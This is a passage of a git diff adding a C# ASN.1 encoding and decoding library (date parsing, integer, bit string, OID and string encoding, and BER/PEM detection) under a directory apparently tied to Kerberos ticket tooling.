{ + return true; + } + switch (c) { + case ' ': case '(': case ')': case '+': + case ',': case '-': case '.': case '/': + case ':': case '=': case '?': case '\'': + return true; + default: + return false; + } + } + + static bool IsIA5(int c) + { + return c < 128; + } + + static bool IsLatin1(int c) + { + return c < 256; + } + + static AsnException BadByte(int c, int type) + { + return new AsnException(String.Format( + "unexpected byte 0x{0:X2} in string of type {1}", + c, type)); + } + + static AsnException BadChar(int c, int type) + { + return new AsnException(String.Format( + "unexpected character U+{0:X4} in string of type {1}", + c, type)); + } + + /* + * Decode the value as a date/time. Returned object is in UTC. + * Type of date is inferred from the tag value. + */ + public DateTime GetTime() + { + if (TagClass != UNIVERSAL) { + throw new AsnException(String.Format( + "cannot infer date type: {0}:{1}", + TagClass, TagValue)); + } + return GetTime(TagValue); + } + + /* + * Decode the value as a date/time. Returned object is in UTC. + * The time string type is provided as parameter (UTCTime or + * GeneralizedTime). + */ + public DateTime GetTime(int type) + { + bool isGen = false; + switch (type) { + case UTCTime: + break; + case GeneralizedTime: + isGen = true; + break; + default: + throw new AsnException( + "unsupported date type: " + type); + } + string s = GetString(type); + string orig = s; + + /* + * UTCTime has format: + * YYMMDDhhmm[ss](Z|(+|-)hhmm) + * + * GeneralizedTime has format: + * YYYYMMDDhhmmss[.uu*][Z|(+|-)hhmm] + * + * Differences between the two types: + * -- UTCTime encodes year over two digits; GeneralizedTime + * uses four digits. UTCTime years map to 1950..2049 (00 is + * 2000). + * -- Seconds are optional with UTCTime, mandatory with + * GeneralizedTime. + * -- GeneralizedTime can have fractional seconds (optional). + * -- Time zone is optional for GeneralizedTime. However, + * a missing time zone means "local time" which depends on + * the locality, so this is discouraged. + * + * Some other notes: + * -- If there is a fractional second, then it must include + * at least one digit. This implementation processes the + * first three digits, and ignores the rest (if present). + * -- Time zone offset ranges from -23:59 to +23:59. + * -- The calendar computations are delegated to .NET's + * DateTime (and DateTimeOffset) so this implements a + * Gregorian calendar, even for dates before 1589. Year 0 + * is not supported. + */ + + /* + * Check characters. + */ + foreach (char c in s) { + if (c >= '0' && c <= '9') { + continue; + } + if (c == '.' || c == '+' || c == '-' || c == 'Z') { + continue; + } + throw BadTime(type, orig); + } + + bool good = true; + + /* + * Parse the time zone. + */ + int tzHours = 0; + int tzMinutes = 0; + bool negZ = false; + bool noTZ = false; + if (s.EndsWith("Z")) { + s = s.Substring(0, s.Length - 1); + } else { + int j = s.IndexOf('+'); + if (j < 0) { + j = s.IndexOf('-'); + negZ = true; + } + if (j < 0) { + noTZ = true; + } else { + string t = s.Substring(j + 1); + s = s.Substring(0, j); + if (t.Length != 4) { + throw BadTime(type, orig); + } + tzHours = Dec2(t, 0, ref good); + tzMinutes = Dec2(t, 2, ref good); + if (tzHours < 0 || tzHours > 23 + || tzMinutes < 0 || tzMinutes > 59) + { + throw BadTime(type, orig); + } + } + } + + /* + * Lack of time zone is allowed only for GeneralizedTime. + */ + if (noTZ && !isGen) { + throw BadTime(type, orig); + } + + /* + * Parse the date elements. + */ + if (s.Length < 4) { + throw BadTime(type, orig); + } + int year = Dec2(s, 0, ref good); + if (isGen) { + year = year * 100 + Dec2(s, 2, ref good); + s = s.Substring(4); + } else { + if (year < 50) { + year += 100; + } + year += 1900; + s = s.Substring(2); + } + int month = Dec2(s, 0, ref good); + int day = Dec2(s, 2, ref good); + int hour = Dec2(s, 4, ref good); + int minute = Dec2(s, 6, ref good); + int second = 0; + int millisecond = 0; + if (isGen) { + second = Dec2(s, 8, ref good); + if (s.Length >= 12 && s[10] == '.') { + s = s.Substring(11); + foreach (char c in s) { + if (c < '0' || c > '9') { + good = false; + break; + } + } + s += "0000"; + millisecond = 10 * Dec2(s, 0, ref good) + + Dec2(s, 2, ref good) / 10; + } else if (s.Length != 10) { + good = false; + } + } else { + switch (s.Length) { + case 8: + break; + case 10: + second = Dec2(s, 8, ref good); + break; + default: + throw BadTime(type, orig); + } + } + + /* + * Parsing is finished; if any error occurred, then + * the 'good' flag has been cleared. + */ + if (!good) { + throw BadTime(type, orig); + } + + /* + * Leap seconds are not supported by .NET, so we claim + * they do not occur. + */ + if (second == 60) { + second = 59; + } + + /* + * .NET implementation performs all the checks (including + * checks on month length depending on year, as per the + * proleptic Gregorian calendar). + */ + try { + if (noTZ) { + DateTime dt = new DateTime(year, month, day, + hour, minute, second, millisecond, + DateTimeKind.Local); + return dt.ToUniversalTime(); + } + TimeSpan tzOff = new TimeSpan(tzHours, tzMinutes, 0); + if (negZ) { + tzOff = tzOff.Negate(); + } + DateTimeOffset dto = new DateTimeOffset( + year, month, day, hour, minute, second, + millisecond, tzOff); + return dto.UtcDateTime; + } catch (Exception e) { + throw BadTime(type, orig, e); + } + } + + static int Dec2(string s, int off, ref bool good) + { + if (off < 0 || off >= (s.Length - 1)) { + good = false; + return -1; + } + char c1 = s[off]; + char c2 = s[off + 1]; + if (c1 < '0' || c1 > '9' || c2 < '0' || c2 > '9') { + good = false; + return -1; + } + return 10 * (c1 - '0') + (c2 - '0'); + } + + static AsnException BadTime(int type, string s) + { + return BadTime(type, s, null); + } + + static AsnException BadTime(int type, string s, Exception e) + { + string tt = (type == UTCTime) ? "UTCTime" : "GeneralizedTime"; + string msg = String.Format("invalid {0} string: '{1}'", tt, s); + if (e == null) { + return new AsnException(msg); + } else { + return new AsnException(msg, e); + } + } + + /* =============================================================== */ + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagValue, byte[] val) + { + return MakePrimitive(UNIVERSAL, tagValue, val, 0, val.Length); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagValue, + byte[] val, int off, int len) + { + return MakePrimitive(UNIVERSAL, tagValue, val, off, len); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive( + int tagClass, int tagValue, byte[] val) + { + return MakePrimitive(tagClass, tagValue, val, 0, val.Length); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagClass, int tagValue, + byte[] val, int off, int len) + { + byte[] nval = new byte[len]; + Array.Copy(val, off, nval, 0, len); + return MakePrimitiveInner(tagClass, tagValue, nval, 0, len); + } + + /* + * Like MakePrimitive(), but the provided array is NOT copied. + * This is for other factory methods that already allocate a + * new array. + */ + static AsnElt MakePrimitiveInner(int tagValue, byte[] val) + { + return MakePrimitiveInner(UNIVERSAL, tagValue, + val, 0, val.Length); + } + + static AsnElt MakePrimitiveInner(int tagValue, + byte[] val, int off, int len) + { + return MakePrimitiveInner(UNIVERSAL, tagValue, val, off, len); + } + + static AsnElt MakePrimitiveInner(int tagClass, int tagValue, byte[] val) + { + return MakePrimitiveInner(tagClass, tagValue, + val, 0, val.Length); + } + + static AsnElt MakePrimitiveInner(int tagClass, int tagValue, + byte[] val, int off, int len) + { + AsnElt a = new AsnElt(); + a.objBuf = new byte[len]; + Array.Copy(val, off, a.objBuf, 0, len); + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = len; + a.hasEncodedHeader = false; + if (tagClass < 0 || tagClass > 3) { + throw new AsnException( + "invalid tag class: " + tagClass); + } + if (tagValue < 0) { + throw new AsnException( + "invalid tag value: " + tagValue); + } + a.TagClass = tagClass; + a.TagValue = tagValue; + a.Sub = null; + return a; + } + + /* + * Create a new INTEGER value for the provided integer. + */ + public static AsnElt MakeInteger(long x) + { + if (x >= 0) { + return MakeInteger((ulong)x); + } + int k = 1; + for (long w = x; w <= -(long)0x80; w >>= 8) { + k ++; + } + byte[] v = new byte[k]; + for (long w = x; k > 0; w >>= 8) { + v[-- k] = (byte)w; + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. + */ + public static AsnElt MakeInteger(ulong x) + { + int k = 1; + for (ulong w = x; w >= 0x80; w >>= 8) { + k ++; + } + byte[] v = new byte[k]; + for (ulong w = x; k > 0; w >>= 8) { + v[-- k] = (byte)w; + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. The x[] + * array uses _unsigned_ big-endian encoding. + */ + public static AsnElt MakeInteger(byte[] x) + { + int xLen = x.Length; + int j = 0; + while (j < xLen && x[j] == 0x00) { + j ++; + } + if (j == xLen) { + return MakePrimitiveInner(INTEGER, new byte[] { 0x00 }); + } + byte[] v; + if (x[j] < 0x80) { + v = new byte[xLen - j]; + Array.Copy(x, j, v, 0, v.Length); + } else { + v = new byte[1 + xLen - j]; + Array.Copy(x, j, v, 1, v.Length - 1); + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. The x[] + * array uses _signed_ big-endian encoding. + */ + public static AsnElt MakeIntegerSigned(byte[] x) + { + int xLen = x.Length; + if (xLen == 0) { + throw new AsnException( + "Invalid signed integer (empty)"); + } + int j = 0; + if (x[0] >= 0x80) { + while (j < (xLen - 1) + && x[j] == 0xFF + && x[j + 1] >= 0x80) + { + j ++; + } + } else { + while (j < (xLen - 1) + && x[j] == 0x00 + && x[j + 1] < 0x80) + { + j ++; + } + } + byte[] v = new byte[xLen - j]; + Array.Copy(x, j, v, 0, v.Length); + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a BIT STRING from the provided value. The number of + * "unused bits" is set to 0. + */ + public static AsnElt MakeBitString(byte[] buf) + { + return MakeBitString(buf, 0, buf.Length); + } + + public static AsnElt MakeBitString(byte[] buf, int off, int len) + { + byte[] tmp = new byte[len + 1]; + Array.Copy(buf, off, tmp, 1, len); + return MakePrimitiveInner(BIT_STRING, tmp); + } + + /* + * Create a BIT STRING from the provided value. The number of + * "unused bits" is specified. + */ + public static AsnElt MakeBitString(int unusedBits, byte[] buf) + { + return MakeBitString(unusedBits, buf, 0, buf.Length); + } + + public static AsnElt MakeBitString(int unusedBits, + byte[] buf, int off, int len) + { + if (unusedBits < 0 || unusedBits > 7 + || (unusedBits != 0 && len == 0)) + { + throw new AsnException( + "Invalid number of unused bits in BIT STRING: " + + unusedBits); + } + byte[] tmp = new byte[len + 1]; + tmp[0] = (byte)unusedBits; + Array.Copy(buf, off, tmp, 1, len); + if (len > 0) { + tmp[len - 1] &= (byte)(0xFF << unusedBits); + } + return MakePrimitiveInner(BIT_STRING, tmp); + } + + /* + * Create an OCTET STRING from the provided value. + */ + public static AsnElt MakeBlob(byte[] buf) + { + return MakeBlob(buf, 0, buf.Length); + } + + public static AsnElt MakeBlob(byte[] buf, int off, int len) + { + return MakePrimitive(OCTET_STRING, buf, off, len); + } + + /* + * Create a new constructed elements, by providing the relevant + * sub-elements. + */ + public static AsnElt Make(int tagValue, params AsnElt[] subs) + { + return Make(UNIVERSAL, tagValue, subs); + } + + /* + * Create a new constructed elements, by providing the relevant + * sub-elements. + */ + public static AsnElt Make(int tagClass, int tagValue, + params AsnElt[] subs) + { + AsnElt a = new AsnElt(); + a.objBuf = null; + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = -1; + a.hasEncodedHeader = false; + if (tagClass < 0 || tagClass > 3) { + throw new AsnException( + "invalid tag class: " + tagClass); + } + if (tagValue < 0) { + throw new AsnException( + "invalid tag value: " + tagValue); + } + a.TagClass = tagClass; + a.TagValue = tagValue; + if (subs == null) { + a.Sub = new AsnElt[0]; + } else { + a.Sub = new AsnElt[subs.Length]; + Array.Copy(subs, 0, a.Sub, 0, subs.Length); + } + return a; + } + + /* + * Create a SET OF: sub-elements are automatically sorted by + * lexicographic order of their DER encodings. Identical elements + * are merged. + */ + public static AsnElt MakeSetOf(params AsnElt[] subs) + { + AsnElt a = new AsnElt(); + a.objBuf = null; + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = -1; + a.hasEncodedHeader = false; + a.TagClass = UNIVERSAL; + a.TagValue = SET; + if (subs == null) { + a.Sub = new AsnElt[0]; + } else { + SortedDictionary d = + new SortedDictionary( + COMPARER_LEXICOGRAPHIC); + foreach (AsnElt ax in subs) { + d[ax.Encode()] = ax; + } + AsnElt[] tmp = new AsnElt[d.Count]; + int j = 0; + foreach (AsnElt ax in d.Values) { + tmp[j ++] = ax; + } + a.Sub = tmp; + } + return a; + } + + static IComparer COMPARER_LEXICOGRAPHIC = + new ComparerLexicographic(); + + class ComparerLexicographic : IComparer { + + public int Compare(byte[] x, byte[] y) + { + int xLen = x.Length; + int yLen = y.Length; + int cLen = Math.Min(xLen, yLen); + for (int i = 0; i < cLen; i ++) { + if (x[i] != y[i]) { + return (int)x[i] - (int)y[i]; + } + } + return xLen - yLen; + } + } + + /* + * Wrap an element into an explicit tag. + */ + public static AsnElt MakeExplicit(int tagClass, int tagValue, AsnElt x) + { + return Make(tagClass, tagValue, x); + } + + /* + * Wrap an element into an explicit CONTEXT tag. + */ + public static AsnElt MakeExplicit(int tagValue, AsnElt x) + { + return Make(CONTEXT, tagValue, x); + } + + /* + * Apply an implicit tag to a value. The source AsnElt object + * is unmodified; a new object is returned. + */ + public static AsnElt MakeImplicit(int tagClass, int tagValue, AsnElt x) + { + if (x.Constructed) { + return Make(tagClass, tagValue, x.Sub); + } + AsnElt a = new AsnElt(); + a.objBuf = x.GetValue(out a.valOff, out a.valLen); + a.objOff = 0; + a.objLen = -1; + a.hasEncodedHeader = false; + a.TagClass = tagClass; + a.TagValue = tagValue; + a.Sub = null; + return a; + } + + public static AsnElt NULL_V = AsnElt.MakePrimitive( + NULL, new byte[0]); + + public static AsnElt BOOL_TRUE = AsnElt.MakePrimitive( + BOOLEAN, new byte[] { 0xFF }); + public static AsnElt BOOL_FALSE = AsnElt.MakePrimitive( + BOOLEAN, new byte[] { 0x00 }); + + /* + * Create an OBJECT IDENTIFIER from its string representation. + * This function tolerates extra leading zeros. + */ + public static AsnElt MakeOID(string str) + { + List r = new List(); + int n = str.Length; + long x = -1; + for (int i = 0; i < n; i ++) { + int c = str[i]; + if (c == '.') { + if (x < 0) { + throw new AsnException( + "invalid OID (empty element)"); + } + r.Add(x); + x = -1; + continue; + } + if (c < '0' || c > '9') { + throw new AsnException(String.Format( + "invalid character U+{0:X4} in OID", + c)); + } + if (x < 0) { + x = 0; + } else if (x > ((Int64.MaxValue - 9) / 10)) { + throw new AsnException("OID element overflow"); + } + x = x * (long)10 + (long)(c - '0'); + } + if (x < 0) { + throw new AsnException( + "invalid OID (empty element)"); + } + r.Add(x); + if (r.Count < 2) { + throw new AsnException( + "invalid OID (not enough elements)"); + } + if (r[0] > 2 || r[1] > 40) { + throw new AsnException( + "invalid OID (first elements out of range)"); + } + + MemoryStream ms = new MemoryStream(); + ms.WriteByte((byte)(40 * (int)r[0] + (int)r[1])); + for (int i = 2; i < r.Count; i ++) { + long v = r[i]; + if (v < 0x80) { + ms.WriteByte((byte)v); + continue; + } + int k = -7; + for (long w = v; w != 0; w >>= 7, k += 7); + ms.WriteByte((byte)(0x80 + (int)(v >> k))); + for (k -= 7; k >= 0; k -= 7) { + int z = (int)(v >> k) & 0x7F; + if (k > 0) { + z |= 0x80; + } + ms.WriteByte((byte)z); + } + } + byte[] buf = ms.ToArray(); + return MakePrimitiveInner(OBJECT_IDENTIFIER, + buf, 0, buf.Length); + } + + /* + * Create a string of the provided type and contents. The string + * type is a universal tag value for one of the string or time + * types. + */ + public static AsnElt MakeString(int type, string str) + { + VerifyChars(str.ToCharArray(), type); + byte[] buf; + switch (type) { + case NumericString: + case PrintableString: + case UTCTime: + case GeneralizedTime: + case IA5String: + case TeletexString: + case GeneralString: + buf = EncodeMono(str); + break; + case UTF8String: + buf = EncodeUTF8(str); + break; + case BMPString: + buf = EncodeUTF16(str); + break; + case UniversalString: + buf = EncodeUTF32(str); + break; + default: + throw new AsnException( + "unsupported string type: " + type); + } + return MakePrimitiveInner(type, buf); + } + + static byte[] EncodeMono(string str) + { + byte[] r = new byte[str.Length]; + int k = 0; + foreach (char c in str) { + r[k ++] = (byte)c; + } + return r; + } + + /* + * Get the code point at offset 'off' in the string. Either one + * or two 'char' slots are used; 'off' is updated accordingly. + */ + static int CodePoint(string str, ref int off) + { + int c = str[off ++]; + if (c >= 0xD800 && c < 0xDC00 && off < str.Length) { + int d = str[off]; + if (d >= 0xDC00 && d < 0xE000) { + c = ((c & 0x3FF) << 10) + + (d & 0x3FF) + 0x10000; + off ++; + } + } + return c; + } + + static byte[] EncodeUTF8(string str) + { + int k = 0; + int n = str.Length; + MemoryStream ms = new MemoryStream(); + while (k < n) { + int cp = CodePoint(str, ref k); + if (cp < 0x80) { + ms.WriteByte((byte)cp); + } else if (cp < 0x800) { + ms.WriteByte((byte)(0xC0 + (cp >> 6))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } else if (cp < 0x10000) { + ms.WriteByte((byte)(0xE0 + (cp >> 12))); + ms.WriteByte((byte)(0x80 + ((cp >> 6) & 63))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } else { + ms.WriteByte((byte)(0xF0 + (cp >> 18))); + ms.WriteByte((byte)(0x80 + ((cp >> 12) & 63))); + ms.WriteByte((byte)(0x80 + ((cp >> 6) & 63))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } + } + return ms.ToArray(); + } + + static byte[] EncodeUTF16(string str) + { + byte[] buf = new byte[str.Length << 1]; + int k = 0; + foreach (char c in str) { + buf[k ++] = (byte)(c >> 8); + buf[k ++] = (byte)c; + } + return buf; + } + + static byte[] EncodeUTF32(string str) + { + int k = 0; + int n = str.Length; + MemoryStream ms = new MemoryStream(); + while (k < n) { + int cp = CodePoint(str, ref k); + ms.WriteByte((byte)(cp >> 24)); + ms.WriteByte((byte)(cp >> 16)); + ms.WriteByte((byte)(cp >> 8)); + ms.WriteByte((byte)cp); + } + return ms.ToArray(); + } + + /* + * Create a time value of the specified type (UTCTime or + * GeneralizedTime). + */ + public static AsnElt MakeTime(int type, DateTime dt) + { + dt = dt.ToUniversalTime(); + string str; + switch (type) { + case UTCTime: + int year = dt.Year; + if (year < 1950 || year >= 2050) { + throw new AsnException(String.Format( + "cannot encode year {0} as UTCTime", + year)); + } + year = year % 100; + str = String.Format( + "{0:d2}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}Z", + year, dt.Month, dt.Day, + dt.Hour, dt.Minute, dt.Second); + break; + case GeneralizedTime: + str = String.Format( + "{0:d4}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}", + dt.Year, dt.Month, dt.Day, + dt.Hour, dt.Minute, dt.Second); + int millis = dt.Millisecond; + if (millis != 0) { + if (millis % 100 == 0) { + str = String.Format("{0}.{1:d1}", + str, millis / 100); + } else if (millis % 10 == 0) { + str = String.Format("{0}.{1:d2}", + str, millis / 10); + } else { + str = String.Format("{0}.{1:d3}", + str, millis); + } + } + str = str + "Z"; + break; + default: + throw new AsnException( + "unsupported time type: " + type); + } + return MakeString(type, str); + } + + /* + * Create a time value of the specified type (UTCTime or + * GeneralizedTime). + */ + public static AsnElt MakeTime(int type, DateTimeOffset dto) + { + return MakeTime(type, dto.UtcDateTime); + } + + /* + * Create a time value with an automatic type selection + * (UTCTime if year is in the 1950..2049 range, GeneralizedTime + * otherwise). + */ + public static AsnElt MakeTimeAuto(DateTime dt) + { + dt = dt.ToUniversalTime(); + return MakeTime((dt.Year >= 1950 && dt.Year <= 2049) + ? UTCTime : GeneralizedTime, dt); + } + + /* + * Create a time value with an automatic type selection + * (UTCTime if year is in the 1950..2049 range, GeneralizedTime + * otherwise). + */ + public static AsnElt MakeTimeAuto(DateTimeOffset dto) + { + return MakeTimeAuto(dto.UtcDateTime); + } +} + +} diff --git a/tests/kerbtgs/CrackMapCore/Asn1/AsnException.cs b/tests/kerbtgs/CrackMapCore/Asn1/AsnException.cs new file mode 100644 index 0000000..852bd72 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Asn1/AsnException.cs @@ -0,0 +1,19 @@ +using System; +using System.IO; + +namespace Asn1 { + +public class AsnException : IOException { + + public AsnException(string message) + : base(message) + { + } + + public AsnException(string message, Exception nested) + : base(message, nested) + { + } +} + +} diff --git a/tests/kerbtgs/CrackMapCore/Asn1/AsnIO.cs b/tests/kerbtgs/CrackMapCore/Asn1/AsnIO.cs new file mode 100644 index 0000000..04883ec --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Asn1/AsnIO.cs @@ -0,0 +1,309 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Asn1 { + +public static class AsnIO { + + public static byte[] FindDER(byte[] buf) + { + return FindBER(buf, true); + } + + public static byte[] FindBER(byte[] buf) + { + return FindBER(buf, false); + } + + /* + * Find a BER/DER object in the provided buffer. If the data is + * not already in the right format, conversion to string then + * Base64 decoding is attempted; in the latter case, PEM headers + * are detected and skipped. In any case, the returned buffer + * must begin with a well-formed tag and length, corresponding to + * the object length. + * + * If 'strictDER' is true, then the function furthermore insists + * on the object to use a defined DER length. + * + * The returned buffer may be the source buffer itself, or a newly + * allocated buffer. + * + * On error, null is returned. + */ + public static byte[] FindBER(byte[] buf, bool strictDER) + { + string pemType = null; + return FindBER(buf, strictDER, out pemType); + } + + /* + * Find a BER/DER object in the provided buffer. If the data is + * not already in the right format, conversion to string then + * Base64 decoding is attempted; in the latter case, PEM headers + * are detected and skipped. In any case, the returned buffer + * must begin with a well-formed tag and length, corresponding to + * the object length. + * + * If 'strictDER' is true, then the function furthermore insists + * on the object to use a defined DER length. + * + * If the source was detected to use PEM, then the object type + * indicated by the PEM header is written in 'pemType'; otherwise, + * that variable is set to null. + * + * The returned buffer may be the source buffer itself, or a newly + * allocated buffer. + * + * On error, null is returned. + */ + public static byte[] FindBER(byte[] buf, + bool strictDER, out string pemType) + { + pemType = null; + + /* + * If it is already (from the outside) a BER object, + * return it. + */ + if (LooksLikeBER(buf, strictDER)) { + return buf; + } + + /* + * Convert the blob to a string. We support UTF-16 with + * and without a BOM, UTF-8 with and without a BOM, and + * ASCII-compatible encodings. Non-ASCII characters get + * truncated. + */ + if (buf.Length < 3) { + return null; + } + string str = null; + if ((buf.Length & 1) == 0) { + if (buf[0] == 0xFE && buf[1] == 0xFF) { + // Starts with big-endian UTF-16 BOM + str = ConvertBi(buf, 2, true); + } else if (buf[0] == 0xFF && buf[1] == 0xFE) { + // Starts with little-endian UTF-16 BOM + str = ConvertBi(buf, 2, false); + } else if (buf[0] == 0) { + // First byte is 0 -> big-endian UTF-16 + str = ConvertBi(buf, 0, true); + } else if (buf[1] == 0) { + // Second byte is 0 -> little-endian UTF-16 + str = ConvertBi(buf, 0, false); + } + } + if (str == null) { + if (buf[0] == 0xEF + && buf[1] == 0xBB + && buf[2] == 0xBF) + { + // Starts with UTF-8 BOM + str = ConvertMono(buf, 3); + } else { + // Assumed ASCII-compatible mono-byte encoding + str = ConvertMono(buf, 0); + } + } + if (str == null) { + return null; + } + + /* + * Try to detect a PEM header and footer; if we find both + * then we remove both, keeping only the characters that + * occur in between. + */ + int p = str.IndexOf("-----BEGIN "); + int q = str.IndexOf("-----END "); + if (p >= 0 && q >= 0) { + p += 11; + int r = str.IndexOf((char)10, p) + 1; + int px = str.IndexOf('-', p); + if (px > 0 && px < r && r > 0 && r <= q) { + pemType = string.Copy(str.Substring(p, px - p)); + str = str.Substring(r, q - r); + } + } + + /* + * Convert from Base64. + */ + try { + buf = Convert.FromBase64String(str); + if (LooksLikeBER(buf, strictDER)) { + return buf; + } + } catch { + // ignored: not Base64 + } + + /* + * Decoding failed. + */ + return null; + } + + /* =============================================================== */ + + /* + * Decode a tag; returned value is true on success, false otherwise. + * On success, 'off' is updated to point to the first byte after + * the tag. + */ + static bool DecodeTag(byte[] buf, int lim, ref int off) + { + int p = off; + if (p >= lim) { + return false; + } + int v = buf[p ++]; + if ((v & 0x1F) == 0x1F) { + do { + if (p >= lim) { + return false; + } + v = buf[p ++]; + } while ((v & 0x80) != 0); + } + off = p; + return true; + } + + /* + * Decode a BER length. Returned value is: + * -2 no decodable length + * -1 indefinite length + * 0+ definite length + * If a definite or indefinite length could be decoded, then 'off' + * is updated to point to the first byte after the length. + */ + static int DecodeLength(byte[] buf, int lim, ref int off) + { + int p = off; + if (p >= lim) { + return -2; + } + int v = buf[p ++]; + if (v < 0x80) { + off = p; + return v; + } else if (v == 0x80) { + off = p; + return -1; + } + v &= 0x7F; + if ((lim - p) < v) { + return -2; + } + int acc = 0; + while (v -- > 0) { + if (acc > 0x7FFFFF) { + return -2; + } + acc = (acc << 8) + buf[p ++]; + } + off = p; + return acc; + } + + /* + * Get the length, in bytes, of the object in the provided + * buffer. The object begins at offset 'off' but does not extend + * farther than offset 'lim'. If no such BER object can be + * decoded, then -1 is returned. The returned length includes + * that of the tag and length fields. + */ + static int BERLength(byte[] buf, int lim, int off) + { + int orig = off; + if (!DecodeTag(buf, lim, ref off)) { + return -1; + } + int len = DecodeLength(buf, lim, ref off); + if (len >= 0) { + if (len > (lim - off)) { + return -1; + } + return off + len - orig; + } else if (len < -1) { + return -1; + } + + /* + * Indefinite length: we must do some recursive exploration. + * End of structure is marked by a "null tag": object has + * total length 2 and its tag byte is 0. + */ + for (;;) { + int slen = BERLength(buf, lim, off); + if (slen < 0) { + return -1; + } + off += slen; + if (slen == 2 && buf[off] == 0) { + return off - orig; + } + } + } + + static bool LooksLikeBER(byte[] buf, bool strictDER) + { + return LooksLikeBER(buf, 0, buf.Length, strictDER); + } + + static bool LooksLikeBER(byte[] buf, int off, int len, bool strictDER) + { + int lim = off + len; + int objLen = BERLength(buf, lim, off); + if (objLen != len) { + return false; + } + if (strictDER) { + DecodeTag(buf, lim, ref off); + return DecodeLength(buf, lim, ref off) >= 0; + } else { + return true; + } + } + + static string ConvertMono(byte[] buf, int off) + { + int len = buf.Length - off; + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int v = buf[off + i]; + if (v < 1 || v > 126) { + v = '?'; + } + tc[i] = (char)v; + } + return new string(tc); + } + + static string ConvertBi(byte[] buf, int off, bool be) + { + int len = buf.Length - off; + if ((len & 1) != 0) { + return null; + } + len >>= 1; + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int b0 = buf[off + (i << 1) + 0]; + int b1 = buf[off + (i << 1) + 1]; + int v = be ? ((b0 << 8) + b1) : (b0 + (b1 << 8)); + if (v < 1 || v > 126) { + v = '?'; + } + tc[i] = (char)v; + } + return new string(tc); + } +} + +} diff --git a/tests/kerbtgs/CrackMapCore/Asn1/AsnOID.cs b/tests/kerbtgs/CrackMapCore/Asn1/AsnOID.cs new file mode 100644 index 0000000..19739f5 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Asn1/AsnOID.cs @@ -0,0 +1,294 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace Asn1 { + +public class AsnOID { + + static Dictionary OIDToName = + new Dictionary(); + static Dictionary NameToOID = + new Dictionary(); + + static AsnOID() + { + /* + * From RFC 5280, PKIX1Explicit88 module. + */ + Reg("1.3.6.1.5.5.7", "id-pkix"); + Reg("1.3.6.1.5.5.7.1", "id-pe"); + Reg("1.3.6.1.5.5.7.2", "id-qt"); + Reg("1.3.6.1.5.5.7.3", "id-kp"); + Reg("1.3.6.1.5.5.7.48", "id-ad"); + Reg("1.3.6.1.5.5.7.2.1", "id-qt-cps"); + Reg("1.3.6.1.5.5.7.2.2", "id-qt-unotice"); + Reg("1.3.6.1.5.5.7.48.1", "id-ad-ocsp"); + Reg("1.3.6.1.5.5.7.48.2", "id-ad-caIssuers"); + Reg("1.3.6.1.5.5.7.48.3", "id-ad-timeStamping"); + Reg("1.3.6.1.5.5.7.48.5", "id-ad-caRepository"); + + Reg("2.5.4", "id-at"); + Reg("2.5.4.41", "id-at-name"); + Reg("2.5.4.4", "id-at-surname"); + Reg("2.5.4.42", "id-at-givenName"); + Reg("2.5.4.43", "id-at-initials"); + Reg("2.5.4.44", "id-at-generationQualifier"); + Reg("2.5.4.3", "id-at-commonName"); + Reg("2.5.4.7", "id-at-localityName"); + Reg("2.5.4.8", "id-at-stateOrProvinceName"); + Reg("2.5.4.10", "id-at-organizationName"); + Reg("2.5.4.11", "id-at-organizationalUnitName"); + Reg("2.5.4.12", "id-at-title"); + Reg("2.5.4.46", "id-at-dnQualifier"); + Reg("2.5.4.6", "id-at-countryName"); + Reg("2.5.4.5", "id-at-serialNumber"); + Reg("2.5.4.65", "id-at-pseudonym"); + Reg("0.9.2342.19200300.100.1.25", "id-domainComponent"); + + Reg("1.2.840.113549.1.9", "pkcs-9"); + Reg("1.2.840.113549.1.9.1", "id-emailAddress"); + + /* + * From RFC 5280, PKIX1Implicit88 module. + */ + Reg("2.5.29", "id-ce"); + Reg("2.5.29.35", "id-ce-authorityKeyIdentifier"); + Reg("2.5.29.14", "id-ce-subjectKeyIdentifier"); + Reg("2.5.29.15", "id-ce-keyUsage"); + Reg("2.5.29.16", "id-ce-privateKeyUsagePeriod"); + Reg("2.5.29.32", "id-ce-certificatePolicies"); + Reg("2.5.29.33", "id-ce-policyMappings"); + Reg("2.5.29.17", "id-ce-subjectAltName"); + Reg("2.5.29.18", "id-ce-issuerAltName"); + Reg("2.5.29.9", "id-ce-subjectDirectoryAttributes"); + Reg("2.5.29.19", "id-ce-basicConstraints"); + Reg("2.5.29.30", "id-ce-nameConstraints"); + Reg("2.5.29.36", "id-ce-policyConstraints"); + Reg("2.5.29.31", "id-ce-cRLDistributionPoints"); + Reg("2.5.29.37", "id-ce-extKeyUsage"); + + Reg("2.5.29.37.0", "anyExtendedKeyUsage"); + Reg("1.3.6.1.5.5.7.3.1", "id-kp-serverAuth"); + Reg("1.3.6.1.5.5.7.3.2", "id-kp-clientAuth"); + Reg("1.3.6.1.5.5.7.3.3", "id-kp-codeSigning"); + Reg("1.3.6.1.5.5.7.3.4", "id-kp-emailProtection"); + 